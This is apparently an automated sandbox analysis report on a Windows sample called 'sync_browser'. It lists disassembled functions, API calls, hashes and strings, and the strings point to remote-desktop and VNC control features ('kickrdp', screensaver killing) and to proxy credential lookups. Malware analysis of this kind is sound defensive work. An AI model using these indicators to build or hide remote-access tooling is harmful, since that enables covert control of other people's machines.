Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$LeaveObject$BitmapCompatibleCreateDeleteEnterSelect
String ID:
API String ID: 4219907860-0
Opcode ID: 956026f9412a0f1138a85547ad9db4196a3aa927d16836a46ddc08f3773cee07
Instruction ID: e226ce8c923ca4fe3b55afd6741a0a4b8193649f73e10a5117270fcc0607e85d
Opcode Fuzzy Hash: 956026f9412a0f1138a85547ad9db4196a3aa927d16836a46ddc08f3773cee07
Instruction Fuzzy Hash: 5941653661868686E730AF25B8547AAB350FB88FD8F405536EE4E87B58EF7CD104C721

Function 00007FF7E5081640 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 132COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7E5081671
GetModuleFileNameA.KERNEL32 ref: 00007FF7E50816B3
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E5081767
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E5081790
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E50817CE

Strings

_run, xrefs: 00007FF7E508172A
service_commandline, xrefs: 00007FF7E50817B3
clearconsole, xrefs: 00007FF7E508177C
admin, xrefs: 00007FF7E5081760, 00007FF7E5081783, 00007FF7E50817BF
-service_run, xrefs: 00007FF7E508184B
kickrdp, xrefs: 00007FF7E5081759

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfile$FileModuleNameStringVersion
String ID: -service_run$_run$admin$clearconsole$kickrdp$service_commandline
API String ID: 769895750-1251308945
Opcode ID: 24b3510015302fc578f6c228e9c0541bd07d85315ab1c4ac955448dfc9505119
Instruction ID: dcfe63d541996ed8849c4cc0a911d428d23c23ca88d102e3e19d2484c34059ca
Opcode Fuzzy Hash: 24b3510015302fc578f6c228e9c0541bd07d85315ab1c4ac955448dfc9505119
Instruction Fuzzy Hash: 3851B12560868A95E720AB34B4613A9B7A0FB44BB0F844337EA7D836D9DF3CD405C722

Function 00007FF7E50A1AE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 114libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E50A1B1E
GetProcAddress.KERNEL32 ref: 00007FF7E50A1B36
LoadLibraryA.KERNEL32 ref: 00007FF7E50A1B44
GetProcAddress.KERNEL32 ref: 00007FF7E50A1B5C
FreeLibrary.KERNEL32 ref: 00007FF7E50A1C51
FreeLibrary.KERNEL32 ref: 00007FF7E50A1C62
FreeLibrary.KERNEL32 ref: 00007FF7E50A1C71

Strings

USER32, xrefs: 00007FF7E50A1B17, 00007FF7E50A1B3D
MonitorFromPointA, xrefs: 00007FF7E50A1B52
(, xrefs: 00007FF7E50A1B0F
GetMonitorInfoA, xrefs: 00007FF7E50A1B2C

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$Free$AddressLoadProc
String ID: ($GetMonitorInfoA$MonitorFromPointA$USER32
API String ID: 1386263645-671781545
Opcode ID: de9e37aab11e1b949d1bdc09dbfd75982bc7ac87204d7d26c8bfb04ef9f01631
Instruction ID: b37c97d9e61c3ccc9ef931f4fb3042b7c8ef67e7db60fdc8d4ea4743c0c5c4f4
Opcode Fuzzy Hash: de9e37aab11e1b949d1bdc09dbfd75982bc7ac87204d7d26c8bfb04ef9f01631
Instruction Fuzzy Hash: 6B418F3190C60A85FB24BF34E475338A291EB45F69F904932E51D862D9EF7DE4448733

Function 00007FF7E507B310 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 83COMMON

Download Yara Rule

APIs

_wgetenv.LIBCMT ref: 00007FF7E507B338

Part of subcall function 00007FF7E5129500: _errno.LIBCMT ref: 00007FF7E5129515
Part of subcall function 00007FF7E5129500: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5129520

_wgetenv.LIBCMT ref: 00007FF7E507B373
_wgetenv.LIBCMT ref: 00007FF7E507B3A5
_wgetenv.LIBCMT ref: 00007FF7E507B3C7
_wgetenv.LIBCMT ref: 00007FF7E507B3F5
GetUserNameA.ADVAPI32 ref: 00007FF7E507B436

Strings

SOCKS5_USER, xrefs: 00007FF7E507B331, 00007FF7E507B345
HTTP_PROXY_USER, xrefs: 00007FF7E507B3C0, 00007FF7E507B3D4
SOCKS4_USER, xrefs: 00007FF7E507B36C, 00007FF7E507B380
CONNECT_USER, xrefs: 00007FF7E507B3EE, 00007FF7E507B402
SOCKS_USER, xrefs: 00007FF7E507B39E, 00007FF7E507B3B2

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _wgetenv$NameUser_errno_invalid_parameter_noinfo
String ID: CONNECT_USER$HTTP_PROXY_USER$SOCKS4_USER$SOCKS5_USER$SOCKS_USER
API String ID: 3057866299-2798169553
Opcode ID: a7b8bb38faf38aa79791e2a14257626f8ee9895d63d419d597d659aa22ea67ad
Instruction ID: b0dc55c18b00ea0e0e33d37a821784f7c223563d2096b9f5c45102df980cfb80
Opcode Fuzzy Hash: a7b8bb38faf38aa79791e2a14257626f8ee9895d63d419d597d659aa22ea67ad
Instruction Fuzzy Hash: E6319720A1964A91FD65BB29E4613B4D390EF54F44FC80437EA0DC62A5FF3CE894C362

Function 00007FF7E5083A60 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 72registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7E5083A8C
RegCreateKeyExA.ADVAPI32 ref: 00007FF7E5083AF7
RegOpenKeyExA.ADVAPI32 ref: 00007FF7E5083B24
RegQueryValueExA.ADVAPI32 ref: 00007FF7E5083B6A
RegCloseKey.ADVAPI32 ref: 00007FF7E5083B79
RegCloseKey.ADVAPI32 ref: 00007FF7E5083B84

Strings

System, xrefs: 00007FF7E5083B0F
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies, xrefs: 00007FF7E5083ABB
SoftwareSASGeneration, xrefs: 00007FF7E5083B4B

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Close$CreateOpenQueryValueVersion
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies$SoftwareSASGeneration$System
API String ID: 1076069355-3579764778
Opcode ID: 87e8c0d61f37e34202edbdab6bff78c1ba5551bc53e556ab61ee4318769b540b
Instruction ID: e8c689a6fe36b7fa92b5e518ce4f40f2459e8b0111c426571a71becd4f5315f7
Opcode Fuzzy Hash: 87e8c0d61f37e34202edbdab6bff78c1ba5551bc53e556ab61ee4318769b540b
Instruction Fuzzy Hash: FD317576908B8686EB609B10F4657AAF3A0FBC8B54FC01136E68D86A58DF3CD105CF11

Function 00007FF7E509F790 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7E509F7B6
OpenDesktopA.USER32 ref: 00007FF7E509F809
EnumDesktopWindows.USER32 ref: 00007FF7E509F83C
CloseDesktop.USER32 ref: 00007FF7E509F845
SystemParametersInfoA.USER32 ref: 00007FF7E509F85B
FindWindowA.USER32 ref: 00007FF7E509F88A
PostMessageA.USER32 ref: 00007FF7E509F8A2

Strings

WindowsScreenSaverClass, xrefs: 00007FF7E509F881
vncdesktop.cpp : Killing ScreenSaver, xrefs: 00007FF7E509F817
vncdesktop.cpp : KillScreenSaver..., xrefs: 00007FF7E509F7C4
Screen-saver, xrefs: 00007FF7E509F7EF

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Desktop$CloseEnumFindInfoMessageOpenParametersPostSystemVersionWindowWindows
String ID: Screen-saver$WindowsScreenSaverClass$vncdesktop.cpp : KillScreenSaver...$vncdesktop.cpp : Killing ScreenSaver
API String ID: 1547096108-1130181218
Opcode ID: 0218681f0ca0f0cb8045d3d881905bd2119dca5bb8d2230a423cfe654c101359
Instruction ID: aa33f64aaabef21b6a5a79f4853316e285069827ffe23aecb861492ef01f6bd4
Opcode Fuzzy Hash: 0218681f0ca0f0cb8045d3d881905bd2119dca5bb8d2230a423cfe654c101359
Instruction Fuzzy Hash: FF313725A1864A81F770BB25F871BBAA350FF84F44FC45137D90E82699DE3CE109C722

Function 00007FF7E5074680 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF7E50746A0
GetModuleHandleA.KERNEL32 ref: 00007FF7E50746C5
GetProcAddress.KERNEL32 ref: 00007FF7E50746DA
GetModuleHandleA.KERNEL32 ref: 00007FF7E50746F2
GetProcAddress.KERNEL32 ref: 00007FF7E5074707
GetTickCount.KERNEL32 ref: 00007FF7E507475E

Strings

GetSystemTimes, xrefs: 00007FF7E50746D0
NtQuerySystemInformation, xrefs: 00007FF7E50746FD
ntdll.dll, xrefs: 00007FF7E50746EB
kernel32.dll, xrefs: 00007FF7E50746A8
0, xrefs: 00007FF7E50746BE

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$CountCriticalInitializeSectionTick
String ID: 0$GetSystemTimes$NtQuerySystemInformation$kernel32.dll$ntdll.dll
API String ID: 649669561-4005017345
Opcode ID: 074b37e70411e8fa4c2f927709ee4b204295ab1398dd26aff7224720a389b37b
Instruction ID: 0073b30c3f40f907081a42692dc2356e3f1b6d5814f11fd4b7f12cf778ed9d77
Opcode Fuzzy Hash: 074b37e70411e8fa4c2f927709ee4b204295ab1398dd26aff7224720a389b37b
Instruction Fuzzy Hash: 83212A35A05B0A82EB14AF24F860369B3E0FF48F94F845136DA5D86398EF3CE454C761

Function 00007FF7E5088090 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 56synchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E50880B5
ResetEvent.KERNEL32 ref: 00007FF7E50880D2
ResetEvent.KERNEL32 ref: 00007FF7E50880DC
SetEvent.KERNEL32 ref: 00007FF7E50880E6
WaitForSingleObject.KERNEL32 ref: 00007FF7E50880F5
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5088101
EnterCriticalSection.KERNEL32 ref: 00007FF7E508812E
WaitForSingleObject.KERNEL32 ref: 00007FF7E508813D
SetEvent.KERNEL32 ref: 00007FF7E508815C
LeaveCriticalSection.KERNEL32 ref: 00007FF7E508816E

Strings

c, xrefs: 00007FF7E508811E

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalEventSection$EnterLeaveObjectResetSingleWait
String ID: c
API String ID: 295735435-112844655
Opcode ID: fa268cb6b2df6a727f3079fd17a88c909c0169f6597272d12e4c6e15257d5989
Instruction ID: bfc84554b5904840a6eec4b62de44ff4d175a5d7159de17c07bd58ed87b24bc1
Opcode Fuzzy Hash: fa268cb6b2df6a727f3079fd17a88c909c0169f6597272d12e4c6e15257d5989
Instruction Fuzzy Hash: 5821CF25618B4583DB20AB61F4641AAA370FB88F91F841032DB9E87669DF3CE445C761

Function 00007FF7E50747C0 Relevance: 18.3, APIs: 12, Instructions: 288COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E50747FE
GetTickCount.KERNEL32 ref: 00007FF7E5074814
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5074838

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountEnterLeaveTick
String ID:
API String ID: 1056156058-0
Opcode ID: 4e1fcf1f9d5970b8c335a6cd4b3d0a08090c87295cd844a4afdb87dd54e77e75
Instruction ID: e95e40a042f01fc85dc62d32cdfd057f87e9e9383bd2a3c1c48ca4fd8c47df32
Opcode Fuzzy Hash: 4e1fcf1f9d5970b8c335a6cd4b3d0a08090c87295cd844a4afdb87dd54e77e75
Instruction Fuzzy Hash: 87D11936A09B4A95DB10EF69F4503A9B3E4FB44B88F845036EA4C83B58DF3CE415C761

Function 00007FF7E5080760 Relevance: 18.2, APIs: 12, Instructions: 181COMMON

Download Yara Rule

APIs

CombineRgn.GDI32 ref: 00007FF7E508079E
CombineRgn.GDI32 ref: 00007FF7E508088B
CombineRgn.GDI32 ref: 00007FF7E50808B8
CombineRgn.GDI32 ref: 00007FF7E50808EC
GetRegionData.GDI32 ref: 00007FF7E50808FC
GetRegionData.GDI32 ref: 00007FF7E5080926
GetRegionData.GDI32 ref: 00007FF7E508095F
DeleteObject.GDI32 ref: 00007FF7E508098E
free.LIBCMT ref: 00007FF7E5080999
DeleteObject.GDI32 ref: 00007FF7E50809A2
free.LIBCMT ref: 00007FF7E50809AD
DeleteObject.GDI32 ref: 00007FF7E50809B8

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Combine$DataDeleteObjectRegion$free
String ID:
API String ID: 1378972593-0
Opcode ID: cb15224673a3dfde0a5a84031da156aebc3bdcfdfc834712c68d2b408893385e
Instruction ID: daba4e8aa3c4e888048a3bd870a36b1bd1085e4b947949a63f3f35a840ccab1e
Opcode Fuzzy Hash: cb15224673a3dfde0a5a84031da156aebc3bdcfdfc834712c68d2b408893385e
Instruction Fuzzy Hash: A4719FB6604A8586EB50DF2AE460AA9F7A0FB48FD4B849032EF4D87754DF3DD581CB40

Function 00007FF7E508DA10 Relevance: 18.1, APIs: 12, Instructions: 111COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E508DA63
GetRgnBox.GDI32 ref: 00007FF7E508DA7A
GetRgnBox.GDI32 ref: 00007FF7E508DABE
GetRgnBox.GDI32 ref: 00007FF7E508DAF4
GetRgnBox.GDI32 ref: 00007FF7E508DB23
DeleteObject.GDI32 ref: 00007FF7E508DB3C
free.LIBCMT ref: 00007FF7E508DB47
DeleteObject.GDI32 ref: 00007FF7E508DB5A
free.LIBCMT ref: 00007FF7E508DB65
DeleteObject.GDI32 ref: 00007FF7E508DB75
free.LIBCMT ref: 00007FF7E508DB80
LeaveCriticalSection.KERNEL32 ref: 00007FF7E508DB89

Part of subcall function 00007FF7E507F840: CreateRectRgn.GDI32 ref: 00007FF7E507F872
Part of subcall function 00007FF7E507F840: CombineRgn.GDI32 ref: 00007FF7E507F88A
Part of subcall function 00007FF7E507F840: CombineRgn.GDI32 ref: 00007FF7E507F89F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: DeleteObjectfree$CombineCriticalSection$CreateEnterLeaveRect
String ID:
API String ID: 707770685-0
Opcode ID: e8ce359a573d540e0fad56669d64a20bc3cc88b06a8798c1e7988a6509252d61
Instruction ID: fecbe8b0379f7c43ec33be63dd4bb29ee3add9f60c26e403389dc7f503b7ac14
Opcode Fuzzy Hash: e8ce359a573d540e0fad56669d64a20bc3cc88b06a8798c1e7988a6509252d61
Instruction Fuzzy Hash: 2A419222608B8586D750AF29E4A43A9B360FBC5FE0F841232EA5E877A9DF3CD444C711

Function 00007FF7E50809E0 Relevance: 18.1, APIs: 12, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507F840: CreateRectRgn.GDI32 ref: 00007FF7E507F872
Part of subcall function 00007FF7E507F840: CombineRgn.GDI32 ref: 00007FF7E507F88A
Part of subcall function 00007FF7E507F840: CombineRgn.GDI32 ref: 00007FF7E507F89F

CombineRgn.GDI32 ref: 00007FF7E5080A5A
CombineRgn.GDI32 ref: 00007FF7E5080A72
CombineRgn.GDI32 ref: 00007FF7E5080A8A
GetRgnBox.GDI32 ref: 00007FF7E5080A9A
GetRgnBox.GDI32 ref: 00007FF7E5080AC2
GetRgnBox.GDI32 ref: 00007FF7E5080AE6
DeleteObject.GDI32 ref: 00007FF7E5080B06
free.LIBCMT ref: 00007FF7E5080B11
DeleteObject.GDI32 ref: 00007FF7E5080B1C
free.LIBCMT ref: 00007FF7E5080B27
DeleteObject.GDI32 ref: 00007FF7E5080B32
free.LIBCMT ref: 00007FF7E5080B3D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
